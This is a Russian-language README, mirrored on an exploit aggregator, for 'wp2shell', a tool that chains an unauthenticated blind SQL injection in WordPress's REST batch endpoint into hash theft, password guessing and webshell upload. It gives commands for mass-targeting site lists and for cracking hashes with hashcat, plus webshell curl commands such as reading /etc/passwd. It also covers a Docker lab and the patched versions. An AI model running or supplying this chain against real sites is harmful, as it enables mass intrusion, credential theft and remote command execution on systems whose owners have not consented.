## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XWHOKNOWS-WP2SHELL
# wp2shell
Blind SQL-инъекция в WordPress REST batch через route confusion — автоматизированная цепочка эксплуатации.
**CVE-2026-63030 / CVE-2026-60137**
|
---|---
Затронутые версии| WordPress 6.9.0 – 6.9.4 и 7.0.0 – 7.0.1
Исправлено в| WordPress 6.9.5 / 7.0.2
Приёмник (sink)| SQL `author__not_in` через рассинхронизированный параметр `author_exclude`
Требуется аутентификация| Нет (SQLi без аутентификации)
> **Только для авторизованного тестирования безопасности.**
* * *
## Как это работает
Конечная точка batch REST API WordPress (`/wp-json/batch/v1`) допускает вложенные batch-запросы. Двойной вложенный рассинхронизированный payload смещает внутренние массивы `$matches` / `$validation`, направляя подделанное значение `author_exclude` в SQL `author__not_in` без санитизации. Это даёт неаутентифицированную blind SQL-инъекцию (boolean-based и time-based).
**Цепочка эксплуатации — 4 фазы:**
root@kitploit:~
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
* * *
## Требования
* Python 3.8+
* `aiohttp`
* `colorama`
root@kitploit:~
pip install aiohttp colorama
* * *
## Использование
**Одиночная цель**
root@kitploit:~
python wp2shell.py http://target.com
**Список сайтов (один URL на строку)**
root@kitploit:~
python wp2shell.py sites.txt
**Список сайтов + свой файл паролей**
root@kitploit:~
python wp2shell.py sites.txt -p pass.txt
**Известные учётные данные (пропустить словарь)**
root@kitploit:~
python wp2shell.py http://target.com --user admin --password admin123
**Подтверждение SQLi по таймингу**
root@kitploit:~
python wp2shell.py http://target.com --confirm-sqli
**Без ЧПУ**
root@kitploit:~
python wp2shell.py http://target.com --rest-route
**Через прокси Burp**
root@kitploit:~
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
* * *
## Параметры
* * *
## Выходные файлы
Файл| Содержимое
---|---
`creds.txt`| `http://target=>user:pass` (открытый текст, если пароль подобран, иначе хэш)
`webshell.txt`| URL активного веб-шелла
`VULNERABLE.txt`| Все цели, у которых фаза 1 подтвердила уязвимость
Все файлы дополняются — результаты накапливаются между запусками.
**Использование веб-шелла** — добавьте `?cmd=COMMAND` к URL из `webshell.txt`:
root@kitploit:~
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
* * *
## Офлайн-подбор паролей
Если словарь не сработал, `creds.txt` содержит извлечённый хэш:
root@kitploit:~
hashcat -m 400 creds.txt wordlist.txt
Затем запустите снова с подобранным паролем:
root@kitploit:~
python wp2shell.py http://target.com --user admin --password <plaintext>
* * *
## Локальный стенд (Docker)
Поднимает уязвимый экземпляр WordPress 7.0.1 для безопасного локального тестирования.
**Первый запуск — создание томов и установка WordPress:**
root@kitploit:~
docker compose up -d db wordpress
docker compose run --rm wpcli
**Последующие запуски:**
root@kitploit:~
docker compose up -d db wordpress
**Остановка:**
root@kitploit:~
docker compose down
**Полный сброс (удаляет все данные):**
root@kitploit:~
docker compose down -v
**Запуск эксплойта против стенда:**
root@kitploit:~
python wp2shell.py http://localhost:8080
* * *
## Исправление уязвимости
Обновитесь до WordPress **6.9.5** или **7.0.2**. Исправление проверяет batch-маршрут перед отправкой вложенных запросов, предотвращая рассинхронизацию, которая открывает SQL-приёмник (sink).
* * *
## Правовая информация
Для использования на системах, которыми вы владеете, или на тестирование которых получено явное письменное разрешение. Несанкционированное использование незаконно.